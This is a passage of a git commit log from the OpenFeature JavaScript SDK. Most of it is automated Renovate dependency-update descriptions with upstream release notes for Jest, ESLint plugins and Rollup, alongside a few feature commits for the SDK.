[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@openfeature%2fflagd-web-provider/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@openfeature%2fflagd-web-provider/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@openfeature%2fflagd-web-provider/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi40My4yIiwidXBkYXRlZEluVmVyIjoiMzYuNDMuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 09:19:52 -04:00
renovate[bot] 477a893ef5
chore(deps): update jest monorepo (#551)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`29.5.3` ->
`29.5.4`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.3/29.5.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.3/29.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.3/29.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest](https://jestjs.io/)
([source](https://togithub.com/jestjs/jest)) | [`29.6.2` ->
`29.7.0`](https://renovatebot.com/diffs/npm/jest/29.6.2/29.7.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-config](https://togithub.com/jestjs/jest) | [`29.6.2` ->
`29.7.0`](https://renovatebot.com/diffs/npm/jest-config/29.6.2/29.7.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-config/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-config/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-config/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-config/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-jsdom](https://togithub.com/jestjs/jest) | [`29.6.2`
->
`29.7.0`](https://renovatebot.com/diffs/npm/jest-environment-jsdom/29.6.2/29.7.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-jsdom/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-jsdom/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-jsdom/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-jsdom/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-node](https://togithub.com/jestjs/jest) | [`29.6.2`
->
`29.7.0`](https://renovatebot.com/diffs/npm/jest-environment-node/29.6.2/29.7.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-node/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-node/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-node/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-node/29.6.2/29.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jestjs/jest (jest)</summary>

###
[`v29.7.0`](https://togithub.com/jestjs/jest/blob/HEAD/CHANGELOG.md#2970)

[Compare
Source](https://togithub.com/jestjs/jest/compare/v29.6.4...v29.7.0)

##### Features

- `[create-jest]` Add `npm init` / `yarn create` initialiser for Jest
projects ([#&#8203;14465](https://togithub.com/jestjs/jest/pull/14453))
- `[jest-validate]` Allow deprecation warnings for unknown options
([#&#8203;14499](https://togithub.com/jestjs/jest/pull/14499))

##### Fixes

- `[jest-resolver]` Replace unmatched capture groups in
`moduleNameMapper` with empty string instead of `undefined`
([#&#8203;14507](https://togithub.com/jestjs/jest/pull/14507))
- `[jest-snapshot]` Allow for strings as well as template literals in
inline snapshots
([#&#8203;14465](https://togithub.com/jestjs/jest/pull/14465))
- `[@jest/test-sequencer]` Calculate test runtime if `perStats.duration`
is missing
([#&#8203;14473](https://togithub.com/jestjs/jest/pull/14473))

##### Performance

- `[@jest/create-cache-key-function]` Cache access of `NODE_ENV` and
`BABEL_ENV`
([#&#8203;14455](https://togithub.com/jestjs/jest/pull/14455))

##### Chore & Maintenance

- `[jest-cli]` Move internal config initialisation logic to the
`create-jest` package
([#&#8203;14465](https://togithub.com/jestjs/jest/pull/14453))

###
[`v29.6.4`](https://togithub.com/jestjs/jest/blob/HEAD/CHANGELOG.md#2964)

[Compare
Source](https://togithub.com/jestjs/jest/compare/v29.6.3...v29.6.4)

##### Fixes

- `[jest-core]` Fix typo in `scheduleAndRun` performance marker
([#&#8203;14434](https://togithub.com/jestjs/jest/pull/14434))
- `[jest-environment-node]` Make sure `atob` and `btoa` are writeable in
Node 20 ([#&#8203;14446](https://togithub.com/jestjs/jest/pull/14446))
- `[jest-worker]` Additional error wrapper for `parentPort.postMessage`
to fix unhandled `DataCloneError`.
([#&#8203;14437](https://togithub.com/jestjs/jest/pull/14437))

###
[`v29.6.3`](https://togithub.com/jestjs/jest/blob/HEAD/CHANGELOG.md#2963)

[Compare
Source](https://togithub.com/jestjs/jest/compare/v29.6.2...v29.6.3)

##### Fixes

- `[expect, @&#8203;jest/expect-utils]` `ObjectContaining` support
`sumbol` as key
([#&#8203;14414](https://togithub.com/jestjs/jest/pull/14414))
- `[expect]` Remove `@types/node` from dependencies
([#&#8203;14385](https://togithub.com/jestjs/jest/pull/14385))
- `[jest-core]` Use workers in watch mode by default to avoid crashes
([#&#8203;14059](https://togithub.com/facebook/jest/pull/14059) &
[#&#8203;14085](https://togithub.com/facebook/jest/pull/14085)).
- `[jest-reporters]` Update `istanbul-lib-instrument` dependency to v6.
([#&#8203;14401](https://togithub.com/jestjs/jest/pull/14401))
- `[jest-mock]` Revert
[#&#8203;13692](https://togithub.com/jestjs/jest/pull/13692) as it was a
breaking change
([#&#8203;14429](https://togithub.com/jestjs/jest/pull/14429))
- `[jest-mock]` Revert
[#&#8203;13866](https://togithub.com/jestjs/jest/pull/13866) as it was a
breaking change
([#&#8203;14429](https://togithub.com/jestjs/jest/pull/14429))
- `[jest-mock]` Revert
[#&#8203;13867](https://togithub.com/jestjs/jest/pull/13867) as it was a
breaking change
([#&#8203;14429](https://togithub.com/jestjs/jest/pull/14429))
- `[@jest/reporters]` Marks Reporter's hooks as optional
([#&#8203;14433](https://togithub.com/jestjs/jest/pull/14433))
- `[jest-runtime]` Fix dynamic ESM import module bug when loaded module
through `jest.isolateModulesAsync`
([#&#8203;14397](https://togithub.com/jestjs/jest/pull/14397))

##### Chore & Maintenance

- `[jest-changed-files, jest-circus, jest-console, @&#8203;jest/core,
@&#8203;jest/runtime, @&#8203;jest/transform]` Use `invariant` and
`notEmpty` from `jest-util` rather than own internal
([#&#8203;14366](https://togithub.com/jestjs/jest/pull/14366))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config help](https://togithub.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi42NC44IiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 09:15:39 -04:00
Lukas Reining b9877ce5ad
feat(react-sdk): return flag evaluation details from hook (#555)
```ts
const { value } = useFeatureFlag('feature-enabled', false);
```

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2023-09-13 08:40:32 -04:00
renovate[bot] db0160b6da
chore(deps): update dependency eslint-plugin-jest to v27.2.3 (#467)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://togithub.com/jest-community/eslint-plugin-jest)
| [`27.1.6` ->
`27.2.3`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/27.1.6/27.2.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/27.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/27.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/27.1.6/27.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/27.1.6/27.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v27.2.3`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2723-2023-07-13)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.2...v27.2.3)

##### Bug Fixes

- allow `@typescript-eslint/eslint-plugin` v6 as peer dep
([#&#8203;1400](https://togithub.com/jest-community/eslint-plugin-jest/issues/1400))
([04b2bf2](04b2bf29bf)),
closes
[#&#8203;1398](https://togithub.com/jest-community/eslint-plugin-jest/issues/1398)

###
[`v27.2.2`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2722-2023-06-19)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.1...v27.2.2)

##### Bug Fixes

- add missing (optional) peer dependency on Jest
([#&#8203;1384](https://togithub.com/jest-community/eslint-plugin-jest/issues/1384))
([34c3d32](34c3d32cab))

###
[`v27.2.1`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2721-2023-01-06)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.0...v27.2.1)

##### Bug Fixes

- **valid-expect-in-promise:** handle sparse arrays
([#&#8203;1325](https://togithub.com/jest-community/eslint-plugin-jest/issues/1325))
([21e72c9](21e72c9d94))

###
[`v27.2.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2720-2022-12-31)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.7...v27.2.0)

##### Features

- create `no-untyped-mock-factory` rule
([#&#8203;1314](https://togithub.com/jest-community/eslint-plugin-jest/issues/1314))
([ee43c3f](ee43c3f4d5))

####
[27.1.7](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.6...v27.1.7)
(2022-12-15)

##### Bug Fixes

- **prefer-spy-on:** improve autofix
([#&#8203;1308](https://togithub.com/jest-community/eslint-plugin-jest/issues/1308))
([5d1b7a7](5d1b7a76db))

####
[27.1.6](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.5...v27.1.6)
(2022-11-24)

##### Bug Fixes

- ensure rule fixes produce valid code when function params and args
have trailing commas
([#&#8203;1282](https://togithub.com/jest-community/eslint-plugin-jest/issues/1282))
([8eca0b7](8eca0b7892))

####
[27.1.5](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.4...v27.1.5)
(2022-11-10)

##### Performance Improvements

- use `Set` instead of iterating, and deduplicate a function
([#&#8203;1278](https://togithub.com/jest-community/eslint-plugin-jest/issues/1278))
([0e048f1](0e048f1577))

####
[27.1.4](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.3...v27.1.4)
(2022-11-04)

##### Performance Improvements

- don't collect more info than needed when resolving jest functions
([#&#8203;1275](https://togithub.com/jest-community/eslint-plugin-jest/issues/1275))
([e4a5674](e4a567434d))

####
[27.1.3](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.2...v27.1.3)
(2022-10-18)

##### Bug Fixes

- **no-restricted-jest-methods:** don't crash on `jest()`
([#&#8203;1269](https://togithub.com/jest-community/eslint-plugin-jest/issues/1269))
([4450daa](4450daa17a))

####
[27.1.2](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.1...v27.1.2)
(2022-10-14)

##### Bug Fixes

- **valid-expect-in-promise:** adjust grammar in rule message
([#&#8203;1264](https://togithub.com/jest-community/eslint-plugin-jest/issues/1264))
([4494ed2](4494ed2168))

####
[27.1.1](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.0...v27.1.1)
(2022-10-05)

##### Bug Fixes

- **prefer-to-be:** support negative numbers
([#&#8203;1260](https://togithub.com/jest-community/eslint-plugin-jest/issues/1260))
([557dd39](557dd394a4))

###
[`v27.1.7`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2717-2022-12-15)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.1.6...v27.1.7)

##### Bug Fixes

- **prefer-spy-on:** improve autofix
([#&#8203;1308](https://togithub.com/jest-community/eslint-plugin-jest/issues/1308))
([5d1b7a7](5d1b7a76db))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjM2LjguMTEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-06 16:33:30 -04:00
Michael Beemer 2bc5d63266
feat: add provider compatibility check (#537)
## This PR

- add provider compatibility check

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #535 

### Notes

This implementation throws if you set a provider that's incompatible
with its intended use. This could easily be changed to a warning if
that's the preferred approach. I think it's a good idea to fail early
but I would be interested in others thoughts on this.

This is a non-breaking change. Providers can optionally specify their
intended use and the SDK will perform a runtime check during provider
registration.

### Follow up

- Add hook compatibility checks.
- Update readme to include examples.
- Update existing providers.

---------

Signed-off-by: Michael Beemer <michael.beemer@dynatrace.com>
2023-08-29 19:57:29 -04:00
renovate[bot] b87338449d
chore(deps): update dependency @rollup/plugin-typescript to v11.1.3 (#457)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@rollup/plugin-typescript](https://togithub.com/rollup/plugins/tree/master/packages/typescript/#readme)
([source](https://togithub.com/rollup/plugins)) | [`11.0.0` ->
`11.1.3`](https://renovatebot.com/diffs/npm/@rollup%2fplugin-typescript/11.0.0/11.1.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@rollup%2fplugin-typescript/11.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@rollup%2fplugin-typescript/11.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@rollup%2fplugin-typescript/11.0.0/11.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@rollup%2fplugin-typescript/11.0.0/11.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/plugins (@&#8203;rollup/plugin-typescript)</summary>

###
[`v11.1.3`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1113)

[Compare
Source](1f02ab2ac1...435e4a175f)

*2023-08-26*

##### Bugfixes

- fix: emit declaration files for type-only source files that are not
explicitly included
[#&#8203;1555](https://togithub.com/rollup/plugins/pull/1555)

###
[`v11.1.2`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1112)

[Compare
Source](6e2b769e51...1f02ab2ac1)

*2023-06-28*

##### Bugfixes

- fix: change the value of isExternalLibraryImport to false if the
resolvedModule should be compiled
[#&#8203;1521](https://togithub.com/rollup/plugins/pull/1521)

###
[`v11.1.1`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1111)

[Compare
Source](d5eee0d667...6e2b769e51)

*2023-05-12*

##### Bugfixes

- fix: Allow for using `compilerOptions.moduleResolution`
[#&#8203;1453](https://togithub.com/rollup/plugins/pull/1453)

###
[`v11.1.0`](https://togithub.com/rollup/plugins/blob/HEAD/packages/typescript/CHANGELOG.md#v1110)

[Compare
Source](98691b7785...d5eee0d667)

*2023-04-04*

##### Features

- feat: write declaration files in configured directory for
`output.file`
[#&#8203;1378](https://togithub.com/rollup/plugins/pull/1378)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTUuMiIsInVwZGF0ZWRJblZlciI6IjM2LjU2LjAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-29 11:43:40 -04:00
Lukas Reining 391d352aee
feat: do not add feature flags to state (#549) 2023-08-29 09:27:23 -04:00
renovate[bot] 77a63fec66
chore(deps): update dependency eslint-plugin-import to v2.28.1 (#466)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-import](https://togithub.com/import-js/eslint-plugin-import)
| [`2.26.0` ->
`2.28.1`](https://renovatebot.com/diffs/npm/eslint-plugin-import/2.26.0/2.28.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-import/2.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-import/2.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-import/2.26.0/2.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-import/2.26.0/2.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>import-js/eslint-plugin-import (eslint-plugin-import)</summary>

###
[`v2.28.1`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2281---2023-08-18)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.28.0...v2.28.1)

##### Fixed

- \[`order`]: revert breaking change to single nested group
(\[[#&#8203;2854](https://togithub.com/import-js/eslint-plugin-import/issues/2854)],
thanks \[[@&#8203;yndajas](https://togithub.com/yndajas)])

##### Changed

- \[Docs] remove duplicate fixable notices in docs
(\[[#&#8203;2850](https://togithub.com/import-js/eslint-plugin-import/issues/2850)],
thanks \[[@&#8203;bmish](https://togithub.com/bmish)])

###
[`v2.28.0`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2280---2023-07-27)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.5...v2.28.0)

##### Fixed

- \[`no-duplicates`]: remove duplicate identifiers in duplicate imports
(\[[#&#8203;2577](https://togithub.com/import-js/eslint-plugin-import/issues/2577)],
thanks \[[@&#8203;joe-matsec](https://togithub.com/joe-matsec)])
- \[`consistent-type-specifier-style`]: fix accidental removal of comma
in certain cases
(\[[#&#8203;2754](https://togithub.com/import-js/eslint-plugin-import/issues/2754)],
thanks \[[@&#8203;bradzacher](https://togithub.com/bradzacher)])
- \[Perf] `ExportMap`: Improve `ExportMap.for` performance on larger
codebases
(\[[#&#8203;2756](https://togithub.com/import-js/eslint-plugin-import/issues/2756)],
thanks \[[@&#8203;leipert](https://togithub.com/leipert)])
- \[`no-extraneous-dependencies`]/TypeScript: do not error when
importing inline type from dev dependencies
(\[[#&#8203;1820](https://togithub.com/import-js/eslint-plugin-import/issues/1820)],
thanks \[[@&#8203;andyogo](https://togithub.com/andyogo)])
- \[`newline-after-import`]/TypeScript: do not error when re-exporting a
namespaced import
(\[[#&#8203;2832](https://togithub.com/import-js/eslint-plugin-import/issues/2832)],
thanks \[[@&#8203;laurens-dg](https://togithub.com/laurens-dg)])
- \[`order`]: partial fix for
\[[#&#8203;2687](https://togithub.com/import-js/eslint-plugin-import/issues/2687)]
(thanks \[[@&#8203;ljharb](https://togithub.com/ljharb)])
- \[`no-duplicates`]: Detect across type and regular imports
(\[[#&#8203;2835](https://togithub.com/import-js/eslint-plugin-import/issues/2835)],
thanks \[[@&#8203;benkrejci](https://togithub.com/benkrejci)])
- \[`extensions`]: handle `.` and `..` properly
(\[[#&#8203;2778](https://togithub.com/import-js/eslint-plugin-import/issues/2778)],
thanks \[[@&#8203;benasher44](https://togithub.com/benasher44)])
- \[`no-unused-modules`]: improve schema (thanks
\[[@&#8203;ljharb](https://togithub.com/ljharb)])
- \[`no-unused-modules`]: report error on binding instead of parent
export
(\[[#&#8203;2842](https://togithub.com/import-js/eslint-plugin-import/issues/2842)],
thanks \[[@&#8203;Chamion](https://togithub.com/Chamion)])

##### Changed

- \[Docs] \[`no-duplicates`]: fix example schema
(\[[#&#8203;2684](https://togithub.com/import-js/eslint-plugin-import/issues/2684)],
thanks \[[@&#8203;simmo](https://togithub.com/simmo)])
- \[Docs] \[`group-exports`]: fix syntax highlighting
(\[[#&#8203;2699](https://togithub.com/import-js/eslint-plugin-import/issues/2699)],
thanks \[[@&#8203;devinrhode2](https://togithub.com/devinrhode2)])
- \[Docs] \[`extensions`]: reference node ESM behavior
(\[[#&#8203;2748](https://togithub.com/import-js/eslint-plugin-import/issues/2748)],
thanks \[[@&#8203;xM8WVqaG](https://togithub.com/xM8WVqaG)])
- \[Refactor] \[`exports-last`]: use `array.prototype.findlastindex`
(thanks \[[@&#8203;ljharb](https://togithub.com/ljharb)])
- \[Refactor] \[`no-anonymous-default-export`]: use `object.fromentries`
(thanks \[[@&#8203;ljharb](https://togithub.com/ljharb)])
- \[Refactor] \[`no-unused-modules`]: use `array.prototype.flatmap`
(thanks \[[@&#8203;ljharb](https://togithub.com/ljharb)])

###
[`v2.27.5`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2275---2023-01-16)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.4...v2.27.5)

##### Fixed

- \[`order]`: Fix group ranks order when alphabetizing
(\[[#&#8203;2674](https://togithub.com/import-js/eslint-plugin-import/issues/2674)],
thanks \[[@&#8203;Pearce-Ropion](https://togithub.com/Pearce-Ropion)])

###
[`v2.27.4`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2274---2023-01-11)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.3...v2.27.4)

##### Fixed

- `semver` should be a prod dep
(\[[#&#8203;2668](https://togithub.com/import-js/eslint-plugin-import/issues/2668)])

###
[`v2.27.3`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2273---2023-01-11)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.2...v2.27.3)

##### Fixed

- \[`no-empty-named-blocks`]: rewrite rule to only check import
declarations
(\[[#&#8203;2666](https://togithub.com/import-js/eslint-plugin-import/issues/2666)])

###
[`v2.27.2`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2272---2023-01-11)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.1...v2.27.2)

##### Fixed

- \[`no-duplicates`]: do not unconditionally require `typescript`
(\[[#&#8203;2665](https://togithub.com/import-js/eslint-plugin-import/issues/2665)])

###
[`v2.27.1`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2271---2023-01-11)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.27.0...v2.27.1)

##### Fixed

- `array.prototype.flatmap` should be a prod dep
(\[[#&#8203;2664](https://togithub.com/import-js/eslint-plugin-import/issues/2664)],
thanks \[[@&#8203;cristobal](https://togithub.com/cristobal)])

###
[`v2.27.0`](https://togithub.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2270---2023-01-11)

[Compare
Source](https://togithub.com/import-js/eslint-plugin-import/compare/v2.26.0...v2.27.0)

##### Added

- \[`newline-after-import`]: add `considerComments` option
(\[[#&#8203;2399](https://togithub.com/import-js/eslint-plugin-import/issues/2399)],
thanks \[[@&#8203;pri1311](https://togithub.com/pri1311)])
- \[`no-cycle`]: add `allowUnsafeDynamicCyclicDependency` option
(\[[#&#8203;2387](https://togithub.com/import-js/eslint-plugin-import/issues/2387)],
thanks \[[@&#8203;GerkinDev](https://togithub.com/GerkinDev)])
- \[`no-restricted-paths`]: support arrays for `from` and `target`
options
(\[[#&#8203;2466](https://togithub.com/import-js/eslint-plugin-import/issues/2466)],
thanks \[[@&#8203;AdriAt360](https://togithub.com/AdriAt360)])
- \[`no-anonymous-default-export`]: add `allowNew` option
(\[[#&#8203;2505](https://togithub.com/import-js/eslint-plugin-import/issues/2505)],
thanks \[[@&#8203;DamienCassou](https://togithub.com/DamienCassou)])
- \[`order`]: Add `distinctGroup` option
(\[[#&#8203;2395](https://togithub.com/import-js/eslint-plugin-import/issues/2395)],
thanks \[[@&#8203;hyperupcall](https://togithub.com/hyperupcall)])
- \[`no-extraneous-dependencies`]: Add `includeInternal` option
(\[[#&#8203;2541](https://togithub.com/import-js/eslint-plugin-import/issues/2541)],
thanks \[[@&#8203;bdwain](https://togithub.com/bdwain)])
- \[`no-extraneous-dependencies`]: Add `includeTypes` option
(\[[#&#8203;2543](https://togithub.com/import-js/eslint-plugin-import/issues/2543)],
thanks \[[@&#8203;bdwain](https://togithub.com/bdwain)])
- \[`order`]: new `alphabetize.orderImportKind` option to sort imports
with same path based on their kind (`type`, `typeof`)
